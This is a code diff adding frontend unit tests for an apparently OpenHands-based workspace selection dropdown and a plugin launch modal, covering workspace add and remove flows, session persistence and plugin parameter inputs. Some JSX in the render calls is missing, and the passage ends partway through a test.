+import userEvent from "@testing-library/user-event";
+import { describe, expect, vi, beforeEach, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import {
+ HOME_SELECTED_WORKSPACE_PATH_KEY,
+ WorkspaceSelectionForm,
+} from "../../../../src/components/features/home/workspace-selection-form";
+import { WorkspaceDropdown } from "../../../../src/components/features/home/workspace-dropdown/workspace-dropdown";
+import WorkspacesService from "#/api/workspaces-service/workspaces-service.api";
+import { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace";
+
+const mockNavigate = vi.fn();
+const mockUseIsCreatingConversation = vi.fn();
+
+const { mockSearchSubdirectories, mockGetHome } = vi.hoisted(() => ({
+ mockSearchSubdirectories: vi.fn(),
+ mockGetHome: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+ useNavigation: () => ({
+ currentPath: "/",
+ conversationId: null,
+ isNavigating: false,
+ navigate: mockNavigate,
+ }),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+ useIsCreatingConversation: () => mockUseIsCreatingConversation(),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackConversationCreated: vi.fn(),
+ trackLoginButtonClick: vi.fn(),
+ }),
+}));
+
+vi.mock("@openhands/typescript-client/clients", async () => {
+ const actual = await vi.importActual<
+ typeof import("@openhands/typescript-client/clients")
+ >("@openhands/typescript-client/clients");
+ return {
+ ...actual,
+ FileClient: vi.fn(function FileClientMock() {
+ return {
+ searchSubdirectories: mockSearchSubdirectories,
+ getHome: mockGetHome,
+ };
+ }),
+ };
+});
+
+mockUseIsCreatingConversation.mockReturnValue(false);
+
+function renderForm({
+ workspaces = [],
+ workspaceParents = [],
+}: {
+ workspaces?: LocalWorkspace[];
+ workspaceParents?: LocalWorkspaceParent[];
+} = {}) {
+ vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+ workspaces,
+ workspaceParents,
+ });
+ return render( , {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ });
+}
+
+async function openWorkspaceDropdown(user: ReturnType) {
+ const dropdown = await screen.findByTestId("workspace-dropdown");
+ await waitFor(() => expect(dropdown).not.toBeDisabled());
+ await user.click(dropdown);
+ return screen.findByTestId("workspace-dropdown-menu");
+}
+
+describe("WorkspaceDropdown", () => {
+ it.each([
+ {
+ testId: "add-workspaces-button",
+ expectedCallback: "add",
+ },
+ {
+ testId: "manage-workspaces-button",
+ expectedCallback: "manage",
+ },
+ ])(
+ "opens $expectedCallback workspace action from touch without bubbling",
+ async ({ testId, expectedCallback }) => {
+ const outsideTouchEnd = vi.fn();
+ const onAddClick = vi.fn();
+ const onManageClick = vi.fn();
+ const user = userEvent.setup();
+
+ render(
+
+
+
,
+ );
+
+ await user.click(await screen.findByTestId("workspace-dropdown"));
+ const action = await screen.findByTestId(testId);
+
+ fireEvent.touchStart(action);
+ fireEvent.touchEnd(action);
+
+ expect(outsideTouchEnd).not.toHaveBeenCalled();
+ expect(onAddClick).toHaveBeenCalledTimes(
+ expectedCallback === "add" ? 1 : 0,
+ );
+ expect(onManageClick).toHaveBeenCalledTimes(
+ expectedCallback === "manage" ? 1 : 0,
+ );
+ },
+ );
+});
+
+describe("WorkspaceSelectionForm (server-backed workspaces)", () => {
+ beforeEach(() => {
+ vi.restoreAllMocks();
+ mockNavigate.mockReset();
+ mockSearchSubdirectories.mockReset();
+ mockGetHome.mockReset();
+ window.sessionStorage.clear();
+ mockUseIsCreatingConversation.mockReturnValue(false);
+ mockGetHome.mockResolvedValue({ home: "/Users/me" });
+ // useResolvedWorkspaces always queries an implicit `/projects` parent in
+ // dev mode — return empty so it doesn't influence tests that don't care.
+ mockSearchSubdirectories.mockResolvedValue({
+ items: [],
+ next_page_id: null,
+ });
+ });
+
+ it("renders the default empty selection when no workspace path is persisted", async () => {
+ renderForm({
+ workspaces: [
+ {
+ id: "/Users/me/dev/repo1",
+ name: "repo1",
+ path: "/Users/me/dev/repo1",
+ },
+ ],
+ });
+
+ const dropdown = await screen.findByTestId("workspace-dropdown");
+ await waitFor(() => expect(dropdown).not.toBeDisabled());
+
+ expect(dropdown).toHaveValue("");
+ expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBeNull();
+ });
+
+ it("renders workspaces returned by the agent-server in the dropdown", async () => {
+ // Arrange
+ renderForm({
+ workspaces: [
+ {
+ id: "/Users/me/dev/repo1",
+ name: "repo1",
+ path: "/Users/me/dev/repo1",
+ },
+ ],
+ });
+ const user = userEvent.setup();
+
+ // Act
+ const menu = await openWorkspaceDropdown(user);
+
+ // Assert
+ expect(await within(menu).findByText("repo1")).toBeInTheDocument();
+ });
+
+ it("renders parent-derived workspaces from all paginated folders", async () => {
+ const workspaceParent = {
+ id: "/Users/me/dev",
+ name: "dev",
+ path: "/Users/me/dev",
+ };
+ mockSearchSubdirectories.mockImplementation(
+ async (path: string, options?: { pageId?: string | null }) => {
+ if (path === workspaceParent.path && !options?.pageId) {
+ return {
+ items: [{ name: "alpha", path: "/Users/me/dev/alpha" }],
+ next_page_id: "page-2",
+ };
+ }
+ if (path === workspaceParent.path && options?.pageId === "page-2") {
+ return {
+ items: [{ name: "paper", path: "/Users/me/dev/paper" }],
+ next_page_id: null,
+ };
+ }
+ return { items: [], next_page_id: null };
+ },
+ );
+ renderForm({ workspaceParents: [workspaceParent] });
+ const user = userEvent.setup();
+
+ const menu = await openWorkspaceDropdown(user);
+
+ expect(await within(menu).findByText("alpha")).toBeInTheDocument();
+ expect(await within(menu).findByText("paper")).toBeInTheDocument();
+ expect(mockSearchSubdirectories).toHaveBeenCalledWith(
+ workspaceParent.path,
+ undefined,
+ );
+ expect(mockSearchSubdirectories).toHaveBeenCalledWith(
+ workspaceParent.path,
+ {
+ pageId: "page-2",
+ },
+ );
+ });
+
+ it("restores the selected workspace after unmounting and remounting", async () => {
+ const workspace = {
+ id: "/Users/me/dev/repo1",
+ name: "repo1",
+ path: "/Users/me/dev/repo1",
+ };
+ const user = userEvent.setup();
+
+ const { unmount } = renderForm({ workspaces: [workspace] });
+ const firstMenu = await openWorkspaceDropdown(user);
+ await user.click(await within(firstMenu).findByText("repo1"));
+
+ await waitFor(() =>
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBe(workspace.path),
+ );
+ expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled();
+
+ unmount();
+ renderForm({ workspaces: [workspace] });
+
+ await waitFor(() =>
+ expect(screen.getByTestId("workspace-dropdown")).toHaveValue("repo1"),
+ );
+ expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled();
+ });
+
+ it("clears a persisted workspace path that is no longer resolved", async () => {
+ window.sessionStorage.setItem(
+ HOME_SELECTED_WORKSPACE_PATH_KEY,
+ "/Users/me/dev/missing",
+ );
+
+ renderForm({
+ workspaces: [
+ {
+ id: "/Users/me/dev/repo1",
+ name: "repo1",
+ path: "/Users/me/dev/repo1",
+ },
+ ],
+ });
+
+ await waitFor(() =>
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBeNull(),
+ );
+ expect(screen.getByTestId("workspace-dropdown")).toHaveValue("");
+ expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+ });
+
+ it("shows a version-specific workspace message for old agent servers", async () => {
+ vi.spyOn(WorkspacesService, "listWorkspaces").mockRejectedValue({
+ code: "AGENT_SERVER_VERSION_TOO_OLD",
+ feature: "workspaces",
+ requiredVersion: "1.23.0",
+ actualVersion: "1.22.1",
+ });
+
+ render( , {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ });
+
+ await waitFor(() =>
+ expect(screen.getByTestId("workspace-dropdown")).toBeDisabled(),
+ );
+ await waitFor(() =>
+ expect(screen.getByTestId("workspace-dropdown")).toHaveAttribute(
+ "placeholder",
+ "HOME$WORKSPACES_UNSUPPORTED_PLACEHOLDER",
+ ),
+ );
+ expect(screen.getByTestId("workspace-status-message")).toHaveTextContent(
+ "HOME$WORKSPACES_UNSUPPORTED_AGENT_SERVER",
+ );
+ });
+
+ it("Add Workspace dispatches addWorkspaces to the agent-server", async () => {
+ // Arrange
+ const addSpy = vi
+ .spyOn(WorkspacesService, "addWorkspaces")
+ .mockResolvedValue({ workspaces: [], workspaceParents: [] });
+ mockSearchSubdirectories.mockImplementation(async (path: string) => {
+ if (path === "/Users/me") {
+ return {
+ items: [{ name: "dev", path: "/Users/me/dev" }],
+ next_page_id: null,
+ };
+ }
+ return { items: [], next_page_id: null };
+ });
+ renderForm();
+ const user = userEvent.setup();
+
+ // Act
+ await user.click(await screen.findByTestId("workspace-dropdown"));
+ await user.click(await screen.findByTestId("add-workspaces-button"));
+ await screen.findByTestId("folder-browser-modal");
+ await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+ await user.click(screen.getByTestId("folder-browser-use"));
+
+ // Assert
+ await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1));
+ expect(addSpy).toHaveBeenCalledWith([
+ { id: "/Users/me/dev", name: "dev", path: "/Users/me/dev" },
+ ]);
+ });
+
+ it("shows all paginated folders in the Add Workspace browser", async () => {
+ mockSearchSubdirectories.mockImplementation(
+ async (path: string, options?: { pageId?: string | null }) => {
+ if (path === "/Users/me" && !options?.pageId) {
+ return {
+ items: [{ name: "alpha", path: "/Users/me/alpha" }],
+ next_page_id: "page-2",
+ };
+ }
+ if (path === "/Users/me" && options?.pageId === "page-2") {
+ return {
+ items: [
+ { name: "paper", path: "/Users/me/paper" },
+ { name: "zeta", path: "/Users/me/zeta" },
+ ],
+ next_page_id: null,
+ };
+ }
+ return { items: [], next_page_id: null };
+ },
+ );
+ renderForm();
+ const user = userEvent.setup();
+
+ await user.click(await screen.findByTestId("workspace-dropdown"));
+ await user.click(await screen.findByTestId("add-workspaces-button"));
+ await screen.findByTestId("folder-browser-modal");
+
+ expect(
+ await screen.findByTestId("folder-browser-entry-alpha"),
+ ).toBeVisible();
+ expect(
+ await screen.findByTestId("folder-browser-entry-paper"),
+ ).toBeVisible();
+ expect(
+ await screen.findByTestId("folder-browser-entry-zeta"),
+ ).toBeVisible();
+ expect(mockSearchSubdirectories).toHaveBeenCalledWith(
+ "/Users/me",
+ undefined,
+ );
+ expect(mockSearchSubdirectories).toHaveBeenCalledWith("/Users/me", {
+ pageId: "page-2",
+ });
+ });
+
+ it("handles Windows paths when browsing and adding a workspace", async () => {
+ const homePath = String.raw`C:\Users\me`;
+ const devPath = String.raw`C:\Users\me\dev`;
+ const addSpy = vi
+ .spyOn(WorkspacesService, "addWorkspaces")
+ .mockResolvedValue({ workspaces: [], workspaceParents: [] });
+ mockGetHome.mockResolvedValue({ home: homePath });
+ mockSearchSubdirectories.mockImplementation(async (dir: string) => {
+ if (dir === homePath) {
+ return {
+ items: [{ name: "dev", path: devPath }],
+ next_page_id: null,
+ };
+ }
+ return { items: [], next_page_id: null };
+ });
+ renderForm();
+ const user = userEvent.setup();
+
+ await user.click(await screen.findByTestId("workspace-dropdown"));
+ await user.click(await screen.findByTestId("add-workspaces-button"));
+ await screen.findByTestId("folder-browser-modal");
+ await expect(
+ screen.getByTestId("folder-browser-current-path"),
+ ).toHaveTextContent(homePath);
+
+ await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+ await expect(
+ screen.getByTestId("folder-browser-current-path"),
+ ).toHaveTextContent(devPath);
+
+ await user.click(screen.getByTestId("folder-browser-up"));
+ await expect(
+ screen.getByTestId("folder-browser-current-path"),
+ ).toHaveTextContent(homePath);
+
+ await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+ await user.click(screen.getByTestId("folder-browser-use"));
+
+ await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1));
+ expect(addSpy).toHaveBeenCalledWith([
+ { id: devPath, name: "dev", path: devPath },
+ ]);
+ });
+
+ it("auto-selects the newly added workspace after Add Workspace", async () => {
+ // Arrange: start with another workspace already selected, mirroring the
+ // repro in OpenHands/agent-canvas#1212.
+ const existingWorkspace = {
+ id: "/Users/me/dev/repo1",
+ name: "repo1",
+ path: "/Users/me/dev/repo1",
+ };
+ const addedWorkspace = {
+ id: "/Users/me/dev",
+ name: "dev",
+ path: "/Users/me/dev",
+ };
+ const addSpy = vi
+ .spyOn(WorkspacesService, "addWorkspaces")
+ .mockImplementation(async (items) => {
+ // Mimic the server: once added, the list endpoint includes the new
+ // workspace so the post-add refetch resolves it.
+ const workspaces = [existingWorkspace, ...items];
+ vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+ workspaces,
+ workspaceParents: [],
+ });
+ return { workspaces, workspaceParents: [] };
+ });
+ mockSearchSubdirectories.mockImplementation(async (path: string) => {
+ if (path === "/Users/me") {
+ return {
+ items: [{ name: "dev", path: "/Users/me/dev" }],
+ next_page_id: null,
+ };
+ }
+ return { items: [], next_page_id: null };
+ });
+ renderForm({ workspaces: [existingWorkspace] });
+ const user = userEvent.setup();
+
+ const selectionMenu = await openWorkspaceDropdown(user);
+ await user.click(await within(selectionMenu).findByText("repo1"));
+ await waitFor(() =>
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBe(existingWorkspace.path),
+ );
+
+ // Act
+ await openWorkspaceDropdown(user);
+ await user.click(await screen.findByTestId("add-workspaces-button"));
+ await screen.findByTestId("folder-browser-modal");
+ await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+ await user.click(screen.getByTestId("folder-browser-use"));
+
+ // Assert
+ await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1));
+ await waitFor(() =>
+ expect(screen.getByTestId("workspace-dropdown")).toHaveValue(
+ addedWorkspace.name,
+ ),
+ );
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBe(addedWorkspace.path);
+ expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled();
+ });
+
+ it("Remove Workspace dispatches removeWorkspace and clears the selected workspace", async () => {
+ // Arrange
+ const removeSpy = vi
+ .spyOn(WorkspacesService, "removeWorkspace")
+ .mockResolvedValue();
+ const workspace = {
+ id: "/Users/me/dev/repo1",
+ name: "repo1",
+ path: "/Users/me/dev/repo1",
+ };
+ renderForm({
+ workspaces: [workspace],
+ });
+ const user = userEvent.setup();
+
+ // Act
+ const selectionMenu = await openWorkspaceDropdown(user);
+ await user.click(await within(selectionMenu).findByText("repo1"));
+ await waitFor(() =>
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBe(workspace.path),
+ );
+
+ await openWorkspaceDropdown(user);
+ await user.click(await screen.findByTestId("manage-workspaces-button"));
+ await screen.findByTestId("manage-workspaces-modal");
+ await user.click(screen.getByTestId("manage-workspaces-remove-repo1"));
+ await screen.findByTestId("confirmation-modal");
+ await user.click(screen.getByTestId("confirm-button"));
+
+ // Assert
+ await waitFor(() => expect(removeSpy).toHaveBeenCalledTimes(1));
+ expect(removeSpy).toHaveBeenCalledWith("/Users/me/dev/repo1");
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBeNull();
+ expect(screen.getByTestId("workspace-dropdown")).toHaveValue("");
+ expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+ });
+
+ it("clears the selected parent-derived workspace when its parent is removed", async () => {
+ const removeParentSpy = vi
+ .spyOn(WorkspacesService, "removeWorkspaceParent")
+ .mockResolvedValue();
+ const workspaceParent = {
+ id: "/Users/me/dev",
+ name: "dev",
+ path: "/Users/me/dev",
+ };
+ const workspacePath = "/Users/me/dev/repo1";
+ mockSearchSubdirectories.mockImplementation(async (path: string) => {
+ if (path === workspaceParent.path) {
+ return {
+ items: [{ name: "repo1", path: workspacePath }],
+ next_page_id: null,
+ };
+ }
+ return { items: [], next_page_id: null };
+ });
+ renderForm({ workspaceParents: [workspaceParent] });
+ const user = userEvent.setup();
+
+ const selectionMenu = await openWorkspaceDropdown(user);
+ await user.click(await within(selectionMenu).findByText("repo1"));
+ await waitFor(() =>
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBe(workspacePath),
+ );
+
+ await openWorkspaceDropdown(user);
+ await user.click(await screen.findByTestId("manage-workspaces-button"));
+ await screen.findByTestId("manage-workspaces-modal");
+ await user.click(screen.getByTestId("manage-workspaces-remove-parent-dev"));
+ await screen.findByTestId("confirmation-modal");
+ await user.click(screen.getByTestId("confirm-button"));
+
+ await waitFor(() => expect(removeParentSpy).toHaveBeenCalledTimes(1));
+ expect(removeParentSpy).toHaveBeenCalledWith(workspaceParent.path);
+ expect(
+ window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+ ).toBeNull();
+ expect(screen.getByTestId("workspace-dropdown")).toHaveValue("");
+ expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+ });
+
+ it("Add all subdirectories dispatches addWorkspaceParents to the agent-server", async () => {
+ // Arrange
+ const addParentsSpy = vi
+ .spyOn(WorkspacesService, "addWorkspaceParents")
+ .mockResolvedValue({ workspaces: [], workspaceParents: [] });
+ mockSearchSubdirectories.mockImplementation(async (path: string) => {
+ if (path === "/Users/me") {
+ return {
+ items: [{ name: "dev", path: "/Users/me/dev" }],
+ next_page_id: null,
+ };
+ }
+ return { items: [], next_page_id: null };
+ });
+ renderForm();
+ const user = userEvent.setup();
+
+ // Act
+ await user.click(await screen.findByTestId("workspace-dropdown"));
+ await user.click(await screen.findByTestId("add-workspaces-button"));
+ await screen.findByTestId("folder-browser-modal");
+ await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+ await user.click(screen.getByTestId("folder-browser-add-all-subdirs"));
+
+ // Assert
+ await waitFor(() => expect(addParentsSpy).toHaveBeenCalledTimes(1));
+ expect(addParentsSpy).toHaveBeenCalledWith([
+ { id: "/Users/me/dev", name: "dev", path: "/Users/me/dev" },
+ ]);
+ });
+});
diff --git a/__tests__/components/features/launch/plugin-launch-modal.test.tsx b/__tests__/components/features/launch/plugin-launch-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8b78617fd2cad8697362f8abcfb6ff654cdce286
--- /dev/null
+++ b/__tests__/components/features/launch/plugin-launch-modal.test.tsx
@@ -0,0 +1,426 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { PluginLaunchModal } from "#/components/features/launch/plugin-launch-modal";
+import { PluginSpec } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+const mockOnStartConversation = vi.fn();
+const mockOnClose = vi.fn();
+
+function renderModal(
+ plugins: PluginSpec[],
+ props: Partial<{
+ message: string;
+ isLoading: boolean;
+ }> = {},
+) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+
+ return render(
+
+
+ ,
+ );
+}
+
+describe("PluginLaunchModal", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ describe("Plugin Display Name Extraction", () => {
+ it("should extract plugin name from repo_path when provided", () => {
+ renderModal([{ source: "github:owner/repo", repo_path: "plugins/my-plugin" }]);
+
+ // Plugin name should be "my-plugin" from the path
+ expect(screen.getByText("my-plugin")).toBeInTheDocument();
+ });
+
+ it("should show repo path when no repo_path (repo IS the plugin)", () => {
+ renderModal([{ source: "github:owner/my-plugin" }]);
+
+ // When no repo_path, the whole repo is the plugin, show "owner/my-plugin"
+ const elements = screen.getAllByText("owner/my-plugin");
+ expect(elements.length).toBeGreaterThan(0);
+ });
+
+ it("should extract name from git URL", () => {
+ renderModal([
+ { source: "https://github.com/owner/repo-name.git" },
+ ]);
+
+ const elements = screen.getAllByText("repo-name");
+ expect(elements.length).toBeGreaterThan(0);
+ });
+
+ it("should display full source when no special format", () => {
+ renderModal([{ source: "local-plugin" }]);
+
+ const elements = screen.getAllByText("local-plugin");
+ expect(elements.length).toBeGreaterThan(0);
+ });
+ });
+
+ describe("Modal Title", () => {
+ it("should show plugin name in title for single plugin", () => {
+ renderModal([{ source: "github:owner/awesome-plugin" }]);
+
+ // Title should include the plugin name - use getAllBy since text appears in multiple places
+ const elements = screen.getAllByText(/owner\/awesome-plugin/);
+ expect(elements.length).toBeGreaterThan(0);
+ });
+
+ it("should show generic title for multiple plugins", () => {
+ renderModal([
+ { source: "github:owner/plugin1" },
+ { source: "github:owner/plugin2" },
+ ]);
+
+ // The h2 title contains both LAUNCH$MODAL_TITLE and LAUNCH$MODAL_TITLE_GENERIC
+ const title = screen.getByRole("heading", { level: 2 });
+ expect(title.textContent).toContain("LAUNCH$MODAL_TITLE_GENERIC");
+ });
+ });
+
+ describe("Message Display", () => {
+ it("should display message when provided", () => {
+ renderModal([{ source: "github:owner/repo" }], {
+ message: "This is a custom message",
+ });
+
+ expect(screen.getByText("This is a custom message")).toBeInTheDocument();
+ });
+
+ it("should not render message element when not provided", () => {
+ renderModal([{ source: "github:owner/repo" }]);
+
+ // No message should be present
+ const modal = screen.getByTestId("plugin-launch-modal");
+ expect(modal.querySelector("p.text-neutral-400")).not.toBeInTheDocument();
+ });
+ });
+
+ describe("Expandable Sections", () => {
+ it("should expand plugin section by default when it has parameters", () => {
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { apiKey: "test-key" },
+ },
+ ]);
+
+ // Parameter input should be visible (section is expanded)
+ expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument();
+ });
+
+ it("should collapse/expand section when clicking header", async () => {
+ const user = userEvent.setup();
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { apiKey: "test-key" },
+ },
+ ]);
+
+ // Initially expanded - parameter visible
+ expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument();
+
+ // Click to collapse
+ await user.click(screen.getByTestId("plugin-section-0"));
+
+ // Parameter should be hidden
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("plugin-0-param-apiKey"),
+ ).not.toBeInTheDocument();
+ });
+
+ // Click to expand again
+ await user.click(screen.getByTestId("plugin-section-0"));
+
+ // Parameter should be visible again
+ await waitFor(() => {
+ expect(screen.getByTestId("plugin-0-param-apiKey")).toBeInTheDocument();
+ });
+ });
+ });
+
+ describe("Parameter Inputs", () => {
+ it("should render text input for string parameters", () => {
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { name: "default-name" },
+ },
+ ]);
+
+ const input = screen.getByTestId("plugin-0-param-name");
+ expect(input).toHaveAttribute("type", "text");
+ expect(input).toHaveValue("default-name");
+ });
+
+ it("should render number input for number parameters", () => {
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { count: 42 },
+ },
+ ]);
+
+ const input = screen.getByTestId("plugin-0-param-count");
+ expect(input).toHaveAttribute("type", "number");
+ expect(input).toHaveValue(42);
+ });
+
+ it("should render checkbox for boolean parameters", () => {
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { enabled: true },
+ },
+ ]);
+
+ const checkbox = screen.getByTestId("plugin-0-param-enabled");
+ expect(checkbox).toHaveAttribute("type", "checkbox");
+ expect(checkbox).toBeChecked();
+ });
+
+ it("should update string parameter value when typing", async () => {
+ const user = userEvent.setup();
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { apiKey: "initial" },
+ },
+ ]);
+
+ const input = screen.getByTestId("plugin-0-param-apiKey");
+ await user.clear(input);
+ await user.type(input, "new-value");
+
+ expect(input).toHaveValue("new-value");
+ });
+
+ it("should update number parameter value when typing", async () => {
+ const user = userEvent.setup();
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { count: 5 },
+ },
+ ]);
+
+ const input = screen.getByTestId("plugin-0-param-count");
+ await user.clear(input);
+ await user.type(input, "100");
+
+ expect(input).toHaveValue(100);
+ });
+
+ it("should toggle boolean parameter when clicking checkbox", async () => {
+ const user = userEvent.setup();
+ renderModal([
+ {
+ source: "github:owner/repo",
+ parameters: { debug: false },
+ },
+ ]);
+
+ const checkbox = screen.getByTestId("plugin-0-param-debug");
+ expect(checkbox).not.toBeChecked();
+
+ await user.click(checkbox);
+
+ expect(checkbox).toBeChecked();
+ });
+ });
+
+ describe("Ref and Path Display", () => {
+ it("should display ref when provided", async () => {
+ renderModal([
+ {
+ source: "github:owner/repo",
+ ref: "v1.2.3",
+ parameters: { key: "value" },
+ },
+ ]);
+
+ // Check the expanded section contains the ref value
+ const modal = screen.getByTestId("plugin-launch-modal");
+ expect(modal.textContent).toContain("v1.2.3");
+ });
+
+ it("should display repo_path when provided", () => {
+ renderModal([
+ {
+ source: "github:owner/repo",
+ repo_path: "plugins/my-plugin",
+ parameters: { key: "value" },
+ },
+ ]);
+
+ // Check the expanded section contains the path value
+ const modal = screen.getByTestId("plugin-launch-modal");
+ expect(modal.textContent).toContain("plugins/my-plugin");
+ });
+ });
+
+ describe("Plugins Without Parameters", () => {
+ it("should show plugins list when all plugins have no parameters", () => {
+ renderModal([
+ { source: "github:owner/plugin1" },
+ { source: "github:owner/plugin2" },
+ ]);
+
+ expect(screen.getByText("LAUNCH$PLUGINS")).toBeInTheDocument();
+ // When no repo_path, the full repo path is shown (may appear multiple times)
+ expect(screen.getAllByText("owner/plugin1").length).toBeGreaterThan(0);
+ expect(screen.getAllByText("owner/plugin2").length).toBeGreaterThan(0);
+ });
+
+ it("should show 'Additional Plugins' when mixing plugins with and without params", () => {
+ renderModal([
+ { source: "github:owner/with-params", parameters: { key: "val" } },
+ { source: "github:owner/without-params" },
+ ]);
+
+ expect(screen.getByText("LAUNCH$ADDITIONAL_PLUGINS")).toBeInTheDocument();
+ // When no repo_path, the full repo path is shown
+ expect(screen.getAllByText("owner/without-params").length).toBeGreaterThan(0);
+ });
+
+ it("should show ref in simple plugin list", () => {
+ renderModal([
+ { source: "github:owner/plugin", ref: "main" },
+ ]);
+
+ expect(screen.getByText("@ main")).toBeInTheDocument();
+ });
+
+ it("should show repo_path in simple plugin list", () => {
+ renderModal([
+ { source: "github:owner/repo", repo_path: "plugins/city-weather" },
+ ]);
+
+ // Should show the plugin name
+ expect(screen.getByText("city-weather")).toBeInTheDocument();
+ // Should show the source info with path
+ const modal = screen.getByTestId("plugin-launch-modal");
+ expect(modal.textContent).toContain("owner/repo");
+ expect(modal.textContent).toContain("plugins/city-weather");
+ });
+ });
+
+ describe("Action Buttons", () => {
+ it("should call onClose when close button is clicked", async () => {
+ const user = userEvent.setup();
+ renderModal([{ source: "github:owner/repo" }]);
+
+ await user.click(screen.getByTestId("close-button"));
+
+ expect(mockOnClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call onStartConversation with updated plugins when start button is clicked", async () => {
+ const user = userEvent.setup();
+ renderModal([
+ {
+ source: "github:owner/repo",
+ ref: "main",
+ parameters: { apiKey: "initial" },
+ },
+ ]);
+
+ // Update the parameter
+ const input = screen.getByTestId("plugin-0-param-apiKey");
+ await user.clear(input);
+ await user.type(input, "updated-key");
+
+ // Check the trust checkbox first
+ await user.click(screen.getByTestId("trust-checkbox"));
+
+ // Click start
+ await user.click(screen.getByTestId("start-conversation-button"));
+
+ expect(mockOnStartConversation).toHaveBeenCalledTimes(1);
+ const calledWithPlugins = mockOnStartConversation.mock.calls[0][0];
+ const calledWithMessage = mockOnStartConversation.mock.calls[0][1];
+ expect(calledWithPlugins[0].source).toBe("github:owner/repo");
+ expect(calledWithPlugins[0].ref).toBe("main");
+ expect(calledWithPlugins[0].parameters.apiKey).toBe("updated-key");
+ expect(calledWithMessage).toBeUndefined();
+ });
+
+ it("should call onStartConversation with message when provided", async () => {
+ const user = userEvent.setup();
+ renderModal(
+ [{ source: "github:owner/repo" }],
+ { message: "/city-weather:now Tokyo" },
+ );
+
+ // Check the trust checkbox first
+ await user.click(screen.getByTestId("trust-checkbox"));
+
+ await user.click(screen.getByTestId("start-conversation-button"));
+
+ expect(mockOnStartConversation).toHaveBeenCalledTimes(1);
+ const calledWithPlugins = mockOnStartConversation.mock.calls[0][0];
+ const calledWithMessage = mockOnStartConversation.mock.calls[0][1];
+ expect(calledWithPlugins[0].source).toBe("github:owner/repo");
+ expect(calledWithMessage).toBe("/city-weather:now Tokyo");
+ });
+
+ it("should show 'Starting...' text when loading", () => {
+ renderModal([{ source: "github:owner/repo" }], { isLoading: true });
+
+ expect(screen.getByText("LAUNCH$STARTING")).toBeInTheDocument();
+ });
+
+ it("should disable start button when loading", () => {
+ renderModal([{ source: "github:owner/repo" }], { isLoading: true });
+
+ expect(screen.getByTestId("start-conversation-button")).toBeDisabled();
+ });
+ });
+
+ describe("Multiple Plugins with Parameters", () => {
+ it("should render multiple expandable sections for plugins with parameters", () => {
+ renderModal([
+ { source: "github:owner/plugin1", parameters: { key1: "val1" } },
+ { source: "github:owner/plugin2", parameters: { key2: "val2" } },
+ ]);
+
+ expect(screen.getByTestId("plugin-section-0")).toBeInTheDocument();
+ expect(screen.getByTestId("plugin-section-1")).toBeInTheDocument();
+ });
+
+ it("should maintain separate state for each plugin's parameters", async () => {
+ const user = userEvent.setup();
+ renderModal([
+ { source: "github:owner/plugin1", parameters: { key1: "val1" } },
+ { source: "github:owner/plugin2", parameters: { key2: "val2" } },
+ ]);
+
+ // Update first plugin's parameter
+ const input1 = screen.getByTestId("plugin-0-param-key1");
+ await user.clear(input1);
+ await user.type(input1, "new-val1");
+
+ // Second plugin's parameter should be unchanged
